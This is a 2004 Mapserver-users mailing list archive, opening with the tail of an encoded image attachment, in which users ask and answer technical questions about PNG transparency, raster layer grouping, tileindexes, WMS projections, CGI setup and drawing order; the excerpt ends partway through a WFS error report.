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 Zj0AAAAASUVORK5CYII= ------=_NextPart_000_009B_01C40C03.15A38650-- From cz_toh at yahoo.com Tue Mar 16 23:44:14 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Wed, 17 Mar 2004 07:44:14 +0000 (GMT) Subject: [Mapserver-users] Using own maps for mapserver Message-ID: <20040317074414.62300.qmail@web14007.mail.yahoo.com> Hi I have a picture of my own map that I wish to use in mapserver do I still need to use the shapepath things that are inside or can I just link straight away from the mapfile? I am not sure how to link the mapfile directly to the map however Thanks ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From bartvde at xs4all.nl Wed Mar 17 00:15:57 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 17 Mar 2004 09:15:57 +0100 Subject: [Mapserver-users] Mapserver symbols and transparency In-Reply-To: <009e01c40bf2$730ab810$0b220a0a@beast> References: <009e01c40bf2$730ab810$0b220a0a@beast> Message-ID: Hi, by defining a different OUTPUTFORMAT in your MAP file you can "force" 24 bit png, e.g. OUTPUTFORMAT NAME PNG24 DRIVER "GD/PNG" MIMETYPE "image/png" EXTENSION PNG IMAGEMODE RGBA TRANSPARENT ON END See also: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#outputformat Best regards, Bart On Wed, 17 Mar 2004 09:34:45 +0200, James Anderson wrote: > Hiya, > > Yes you can create 24bit transparent png files. The png file has a full > alpha channel for each pixel, so you actually get translucency. I > cannot > use GIFs because my company does not like the patent issues involved with > gifs, and it will still be awhile before the LZW patent expires > internationally. I have no idea how GD behaves. Take a look at the > images attached. Ok, ignore the sizes of the images. The car is > smaller in > the 24bit image. The problem is with the 24bit image, the parts of the > image that are transparent become totally transparent in the output > image, > so I can see my webpage background. I have come to believe this > problem is > because the mapserver only outputs 8bit png files. Is there any way I > can > force the mapserver to create 24bit images ? > > Thanks, > > James. > > > > > ----- Original Message ----- > From: "Steve Lime" > To: ; > Sent: Tuesday, March 16, 2004 11:45 PM > Subject: Re: [Mapserver-users] Mapserver symbols and transparency > > > | To be honest with you I've never tried 24-bit symbols. MapServer takes > | its transparency direction for pixmap symbols > | from the image file itself. If you supply a transparent GIF then you'll > | get a transparent symbol. It's been awhile but I > | believe the transparent directive has no effect in this case. Can you > | even create 24-bit transparent PNG images, and > | does GD respect the transparency? > | > | Steve > | > | >>> "James Anderson" 3/16/2004 10:30:22 AM >>> > | Hiya, > | > | I am having problems using images with transparency for symbols with > | the pixmap directive. I am using a .png file as this seems to be the > | easiest. > | Here is my problem: When I use an 8bit png file with transparency, all > | works fine, the symbol overlays over the map. The problem occurs when > I > | use a 24bit png file. It overlays ok, but the portions of the symbol > | that are transparent become totally transparent in the image output by > | mapserver. I Am currently using png format for output. This means > | that I can see my webpage background through the image, and this > totally > | sux. Why is this ? Am I doing something wrong ? I would have > | thought that 24bit images with transparency or translucency would be > | combined with whatever layers where below the symbol, but it seems not > | so. Can anyone help ?? > | > | Thanks, > | > | James. > | _______________________________________________ > | Mapserver-users mailing list > | Mapserver-users at lists.gis.umn.edu > | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- From gijs at gijs.com Wed Mar 17 00:31:44 2004 From: gijs at gijs.com (Gijs Epping) Date: Wed, 17 Mar 2004 09:31:44 +0100 Subject: [Mapserver-users] grouping layer In-Reply-To: <54817.195.243.253.146.1079504288.squirrel@webmail.fh-oldenburg.de> Message-ID: <001601c40bfa$55c6adb0$2d00a8c0@at11> No not really, didn't go that road jet for now we only use it with the dynamic layer to group them there i didn't know it had more functionalitie If i come up with something i wil give it to you. Regards Gijs -----Oorspronkelijk bericht----- Van: Heiko Kehlenbrink [mailto:Heiko.Kehlenbrink at vermes.fh-oldenburg.de] Verzonden: woensdag 17 maart 2004 7:18 Aan: Gijs Epping CC: mapserver-users at lists.gis.umn.edu Onderwerp: RE: [Mapserver-users] grouping layer hi gijs, thank you for the hind, but i came along that road, i first use a tileindex with the raster maps but within maplab the query function seams to be disturbed by the shape file used to held the extents of the raster maps. so using the grouping function i thouhght i could work around that problem. are you aware about the "group" functionality ? best regards heiko > > Create a tileindex > > Locate gdaltindex on the server or compile it see the url below to find > it > > With linux the command is aa following > [root at atsence2 tileindex]# ./gdaltindex tileindex.shp > /var/www/html/datalocal/tiffdir/*.tif > > > In the map file you put the following > > LAYER > NAME top25 > GROUP raster_layers > STATUS ON > TYPE RASTER > TILEINDEX /var/www/html/datalocal/tileindex/test.shp > TILEITEM "location" > END > > The TILEITEM is default keep it this way! > > > http://www.remotesensing.org/gdal/ > > http://mapserver.gis.umn.edu/doc/raster-howto.html > > > > > -----Oorspronkelijk bericht----- > Van: Heiko Kehlenbrink [mailto:Heiko.Kehlenbrink at vermes.fh-oldenburg.de] > > Verzonden: dinsdag 16 maart 2004 13:52 > Aan: mapserver-users at lists.gis.umn.edu > Onderwerp: [Mapserver-users] grouping layer > > hi list, > > i have a bunch of raster layer like the following: > > LAYER > NAME "5243" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995243.tif" > PROJECTION > "init=epsg:26915" > END > END > > LAYER > NAME "5244" > GROUP "Ortho" > STATUS OFF > TYPE RASTER > TEMPLATE "ttt.html" > DATA "/srv/www/htdocs/world/data/16webbay/2995244.tif" > PROJECTION > "init=epsg:26915" > END > END > > > I hoped that i could select them all with the GROUP - Name but did not > succseded. > How must i define a layer which brings all Layers of one Group to view? > > best regards > > Heiko Kehlenbrink > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > From stephane.riff at cerene.fr Wed Mar 17 00:51:12 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Wed, 17 Mar 2004 09:51:12 +0100 Subject: [Mapserver-users] Symbology on severals field in db Message-ID: <40581180.5030205@cerene.fr> Hello , I don't know if it's possible but : I want to set a symbology based on two fields : "state, product" I have a layer with a number of class to represent product with an expression : "[product] = **" Know i would like to set the color of each class using the state field wiche can be : "1,2,3,4 or 5" Is it possible with the mapFile or maybe with mapscript.... I hope i'm understandable Thx. Steff From james at danisat.net Wed Mar 17 00:53:27 2004 From: james at danisat.net (James Anderson) Date: Wed, 17 Mar 2004 10:53:27 +0200 Subject: [Mapserver-users] Mapserver symbols and transparency References: <009e01c40bf2$730ab810$0b220a0a@beast> Message-ID: <00ac01c40bfd$55478b40$0b220a0a@beast> Yes thank you. Thanks what a colleague of mine found for me on the net. I now have it working perfectly. Thanks, James. ----- Original Message ----- From: "Bart van den Eijnden" To: "James Anderson" ; Sent: Wednesday, March 17, 2004 10:15 AM Subject: Re: [Mapserver-users] Mapserver symbols and transparency | Hi, | | by defining a different OUTPUTFORMAT in your MAP file you can "force" 24 | bit png, e.g. | | OUTPUTFORMAT | NAME PNG24 | DRIVER "GD/PNG" | MIMETYPE "image/png" | EXTENSION PNG | IMAGEMODE RGBA | TRANSPARENT ON | END | | See also: | http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#outputformat | | Best regards, | Bart | | On Wed, 17 Mar 2004 09:34:45 +0200, James Anderson | wrote: | | > Hiya, | > | > Yes you can create 24bit transparent png files. The png file has a full | > alpha channel for each pixel, so you actually get translucency. I | > cannot | > use GIFs because my company does not like the patent issues involved with | > gifs, and it will still be awhile before the LZW patent expires | > internationally. I have no idea how GD behaves. Take a look at the | > images attached. Ok, ignore the sizes of the images. The car is | > smaller in | > the 24bit image. The problem is with the 24bit image, the parts of the | > image that are transparent become totally transparent in the output | > image, | > so I can see my webpage background. I have come to believe this | > problem is | > because the mapserver only outputs 8bit png files. Is there any way I | > can | > force the mapserver to create 24bit images ? | > | > Thanks, | > | > James. | > | > | > | > | > ----- Original Message ----- | > From: "Steve Lime" | > To: ; | > Sent: Tuesday, March 16, 2004 11:45 PM | > Subject: Re: [Mapserver-users] Mapserver symbols and transparency | > | > | > | To be honest with you I've never tried 24-bit symbols. MapServer takes | > | its transparency direction for pixmap symbols | > | from the image file itself. If you supply a transparent GIF then you'll | > | get a transparent symbol. It's been awhile but I | > | believe the transparent directive has no effect in this case. Can you | > | even create 24-bit transparent PNG images, and | > | does GD respect the transparency? | > | | > | Steve | > | | > | >>> "James Anderson" 3/16/2004 10:30:22 AM >>> | > | Hiya, | > | | > | I am having problems using images with transparency for symbols with | > | the pixmap directive. I am using a .png file as this seems to be the | > | easiest. | > | Here is my problem: When I use an 8bit png file with transparency, all | > | works fine, the symbol overlays over the map. The problem occurs when | > I | > | use a 24bit png file. It overlays ok, but the portions of the symbol | > | that are transparent become totally transparent in the image output by | > | mapserver. I Am currently using png format for output. This means | > | that I can see my webpage background through the image, and this | > totally | > | sux. Why is this ? Am I doing something wrong ? I would have | > | thought that 24bit images with transparency or translucency would be | > | combined with whatever layers where below the symbol, but it seems not | > | so. Can anyone help ?? | > | | > | Thanks, | > | | > | James. | > | _______________________________________________ | > | Mapserver-users mailing list | > | Mapserver-users at lists.gis.umn.edu | > | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users | | | | -- | | _______________________________________________ | Mapserver-users mailing list | Mapserver-users at lists.gis.umn.edu | http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From irenutxa2000 at yahoo.es Wed Mar 17 01:10:31 2004 From: irenutxa2000 at yahoo.es (=?iso-8859-1?q?Irene=20P=E9rez?=) Date: Wed, 17 Mar 2004 10:10:31 +0100 (CET) Subject: [Mapserver-users] Get the color of a class Message-ID: <20040317091031.46917.qmail@web41312.mail.yahoo.com> I need get the color of a layer, and I've: $Class1 = $miLayer->GetClass(0); echo "Class: ".$Class1-> name; echo "Class: ".$Class1-> template; and I obtain the name, the template ... ... but i need the color: echo "Class: ".$Class1->outlinecolor; echo "Class: ".$Class1->color; appears in blank. Thanks. ___________________________________________________ Yahoo! Messenger - Nueva versi?n GRATIS Super Webcam, voz, caritas animadas, y m?s... http://messenger.yahoo.es From mapserver-users at lists.gis.umn.edu Wed Mar 17 01:22:20 2004 From: mapserver-users at lists.gis.umn.edu (John Beisley - RSG) Date: Wed, 17 Mar 2004 09:22:20 +0000 Subject: [Mapserver-users] running in cgi-bin In-Reply-To: References: Message-ID: <405818CC.9040803@pml.ac.uk> Hi, Try comparing the size of the downloaded "mapserv" file to the size of the file in the cgi-bin directory on the server. If they differ then what you probably are receiving is the image file that mapserver should be producing. The fact that it is named "mapserv" rather than "image.png" or some such thing is simply how the browser chooses a default file name. Hope this helps, - John Saurabh Data wrote: > Dear readers, > > hi, I am running my mapserv file from a cgi-bin directory on apacahe > server. > But when I try to access it online through internet explorer, it > downloads the file rahter than running. As per the documentation I > think I should expect the output to be : > > "No query information to decode. QUERY_STRING is set, but empty." > > why does it download it ? I think it might be something to do with > permisission . It so can someone tell me the permission set for this > file. I currently have : > > -rwxr-xr-- 1 ctzsd1 ctz 398342 Mar 16 06:48 mapserv > > any ideas ? > > cheers > > Saurabh -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From hrz at geodata.soton.ac.uk Wed Mar 17 02:00:40 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Wed, 17 Mar 2004 10:00:40 +0000 Subject: [Mapserver-users] virtual layers befor map file layers In-Reply-To: <000001c40b5b$d306e370$2d00a8c0@at11> References: <000001c40b5b$d306e370$2d00a8c0@at11> Message-ID: <20040317100040.GB17002@truffles.geodata.soton.ac.uk> You can alter the drawing order of layers in the map object using the following methods of the map object: setlayersdrawingorder(layersindex:array) moveLayerUp(layerindex:int) moveLayerDown(layerindex:int) See also getlayersdrawingorder() Kind regards, Homme Zwaagstra On Tue, Mar 16, 2004 at 02:37:27PM +0100, Gijs Epping wrote: > Hello, > > I added some virtual layers, but before i do, i add the map file with > his own layers (some point data). The problem is that the POINT layers > are added before the RASTER layers and so you don't see them because > they are behind the rasters. > > How can you reverse this or change the index of the map layers or > dynamic layers. > > Thanks in advance > > Gijs From hrz at geodata.soton.ac.uk Wed Mar 17 02:32:53 2004 From: hrz at geodata.soton.ac.uk (Homme Zwaagstra) Date: Wed, 17 Mar 2004 10:32:53 +0000 Subject: [Mapserver-users] WMS error EPSG:32633 In-Reply-To: References: Message-ID: <20040317103251.GA17295@truffles.geodata.soton.ac.uk> Hi, The only thing I can think of is that the line: "WMS_SRS" "EPSG:4326 EPSG:32633" in your WEB object is not necessary; the WMS Server HOWTO at http://mapserver.gis.umn.edu/doc40/wms-server-howto.html#mapfile states that the WMS_SRS is "optional since the layers inherit the map's SRS value" If this doesn't help then it would be worth submitting a bug report. Kind regards, Homme Zwaagstra On Tue, Mar 16, 2004 at 02:58:37PM +0100, snow 77 wrote: > Hi, > > Can anyone tell me what I do wrong? > I'd like to use WMS with the following http-request: > http://localhost/cgi-bin/mapserv.exe?map=C:/inetpub/wwwroot/demo/test2.map&WMTVER=1.0.0&REQUEST=map&BBOX=393042,5147575,583042,5313825&WIDTH=400&HEIGHT=350&LAYERS=aut6__________a7&FORMAT=image/png&SRS=EPSG:32633 > > When I do that, I get an error from mapserv.exe (read error on the memory). > If I use EPSG:4326 everything works fine but my image (map) is quite > distorted. The shapefiles are epsg:4326 and the output should be epsg:32633. > May I have an error in my mapfile? > > MAP > NAME "test" > STATUS ON > #EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 > EXTENT 389334.69 5124995.01 586750.69 5336404.45 > SIZE 400 350 > SHAPEPATH "../../../Inetpub/wwwroot/demo/data" > FONTSET "../../../Inetpub/wwwroot/demo/fonts/fonts.list" > IMAGECOLOR 255 255 255 > #UNITS DD > UNITS METERS > RESOLUTION 72 > > > PROJECTION > "init=epsg:32633" > END > > WEB > TEMPLATE demo.html > MINSCALE 1000 > MAXSCALE 1550000 > IMAGEPATH "set in demo_init.html" > IMAGEURL "set in demo_init.html" > METADATA > "WMS_TITLE" "JRS Mapserver Demo" > "WMS_ABSTRACT" "This is the JRS MapServer demonstration application for > Styria located in central Austria." > "WMS_ACCESSCONSTRAINTS" none > "WMS_ONLINERESOURCE" > "http://localhost/cgi-bin/mapserv.exe?map=c:/inetpub/wwwroot/demo/test2.map&" > "WMS_SRS" "EPSG:4326 EPSG:32633" > END > END > > LAYER > NAME "aut6__________a7" > STATUS ON > PROJECTION > "init=epsg:4326" > END > DATA "../../../../Inetpub/wwwroot/demo/data/aut6__________a7" > LABELITEM "NAME" > CLASS > TEMPLATE void > COLOR 255 255 204 > OUTLINECOLOR 200 200 200 > LABEL > COLOR 132 31 31 > COLOR 16 125 65 > TYPE TRUETYPE > FONT arial-bold > SIZE 10 > ANTIALIAS TRUE > POSITION AUTO > PARTIALS FALSE > MINDISTANCE 300 > BUFFER 4 > END # end of label > END > TYPE POLYGON > METADATA > "WMS_TITLE" "aut6__________a7" > "WMS_SRS" "EPSG:4326" > END > END > END > > I think I have read all documentations due to this problem, but I can't > find a solution. I have used the same mapfile with the template "demo.html" > and it works perfect. But mapserver crashes when I try to use it as WMS. > Can anyone help me? > Many thanks in advance! > Sonja > > _________________________________________________________________ > Die MSN Suche - Kategorien helfen Ihnen dabei, pr?zise Ergebnisse zu > erhalten. http://search.msn.at/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Tony.Jolibois at cls.fr Wed Mar 17 02:46:48 2004 From: Tony.Jolibois at cls.fr (Tony Jolibois) Date: Wed, 17 Mar 2004 11:46:48 +0100 Subject: [Mapserver-users] Opendap/DODS data and mapserver Message-ID: <6.0.1.1.0.20040317114218.01e6a868@pop.cls.fr> --=====================_89417875==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hi list, Does anyone have some experience using mapserver and data stored in a=20 DODS/Opendap server ? Another question : I'm from the world of oceanography, do you know some=20 connection between GIS and oceanography ? Thanks, Tony ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tony Jolibois CLS, Direction Oc=E9anographie Spatiale Tel: (+33) (0) 561 393 797 Internet: http://www.cls.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --=====================_89417875==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable          =        Hi list,

Does anyone have some experience using mapserver and data stored in a DODS/Opendap server ?
Another question : I'm from the world of oceanography, do you know some connection between GIS and oceanography ?

Thanks,
Tony

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Tony Jolibois
CLS, Direction Oc=E9anographie Spatiale
Tel: (+33) (0) 561 393 797
Internet: http://www.cls.fr
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--=====================_89417875==.ALT-- From fx.prunayre at oieau.fr Wed Mar 17 03:55:02 2004 From: fx.prunayre at oieau.fr (=?iso-8859-1?Q?Fran=E7ois-Xavier_Prunayre?=) Date: Wed, 17 Mar 2004 12:55:02 +0100 Subject: [Mapserver-users] WFS / Got HTTP status 500 downloading WFS layer when layer outside current view Message-ID: <013501c40c16$ae6c3f40$c6b239c2@NT2.oieau.fr> This is a multi-part message in MIME format. ------=_NextPart_000_0132_01C40C1F.101CD120 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I am having problems using WFS. Everything works fine (zoom in / pan= ) but when one of my WFS layer is entirely outside the current view, the WF= S server crashes and the WFS client return :Error is msDrawMap(): Image han= dling error. Failed to draw layer named 'STATION_FR_WFS'.=20 msWFSLayerWhichShapes(): 